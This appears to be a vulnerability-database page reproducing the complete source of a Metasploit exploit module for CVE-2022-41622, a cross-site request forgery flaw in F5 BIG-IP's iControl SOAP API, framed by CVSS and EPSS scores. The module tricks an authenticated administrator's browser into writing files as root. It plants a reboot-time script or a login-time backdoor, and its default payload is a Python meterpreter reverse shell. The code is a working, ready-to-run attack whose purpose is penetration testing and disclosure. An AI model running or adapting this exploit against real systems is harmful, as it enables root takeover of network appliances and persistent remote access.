CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
97.5%
This Metasploit module exploits a cross-site request forgery (CSRF) vulnerability in F5 Big-IP’s iControl interface to write an arbitrary file to the filesystem. While any file can be written to any location as root, the exploitability is limited by SELinux; the vast majority of writable locations are unavailable. By default, we write to a script that executes at reboot, which means the payload will execute the next time the server boots. An alternate target - Login - will add a backdoor that executes next time a user logs in interactively. This overwrites a file, but we restore it when we get a session Note that because this is a CSRF vulnerability, it starts a web server, but an authenticated administrator must visit the site, which redirects them to the target.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
'Description' => %q{
This module exploits a cross-site request forgery (CSRF) vulnerability
in F5 Big-IP's iControl interface to write an arbitrary file to the
filesystem.
While any file can be written to any location as root, the
exploitability is limited by SELinux; the vast majority of writable
locations are unavailable. By default, we write to a script that
executes at reboot, which means the payload will execute the next time
the server boots.
An alternate target - Login - will add a backdoor that executes next
time a user logs in interactively. This overwrites a file,
but we restore it when we get a session
Note that because this is a CSRF vulnerability, it starts a web
server, but an authenticated administrator must visit the site, which
redirects them to the target.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41622'],
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K94221585'],
['URL', 'https://support.f5.com/csp/article/K05403841'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Privileged' => true,
'Targets' => [
[ 'Restart', {}, ],
[ 'Login', {}, ],
[ 'Custom', {}, ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
]
)
end
def on_request_uri(socket, _request)
if datastore['TARGET'] == 0 # restart
filename = '/shared/f5_update_action'
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/error
0
0
0
0
EOT
# Delete the logfile if we get a session
register_file_for_cleanup('/var/log/f5_update_checker.out')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
elsif datastore['TARGET'] == 1 # login
filename = '/var/run/config/timeout.sh'
file_payload = "#{payload.encoded} & disown;"
# Delete the backdoored file if we get a session.. this will be fixed at
# next reboot
register_file_for_cleanup('/var/run/config/timeout.sh')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
else # Custom
filename = datastore['FILENAME']
file_payload = payload.encoded
print_status("Redirecting the admin to overwrite #{filename} with the payload")
end
# Build the SOAP request that'll be sent to the target server
csrf_payload = %(
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">#{filename}</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
)
# Build the target URL
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"
# Build the HTML payload that'll send the SOAP request via the user's browser
html_payload = %(
<html>
<body>
<form action="#{target_url}" method="POST" enctype="text/plain">
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
)
# Send the HTML to the browser
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
end
def exploit
# Sanity check
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
end
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
super
end
end
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
97.5%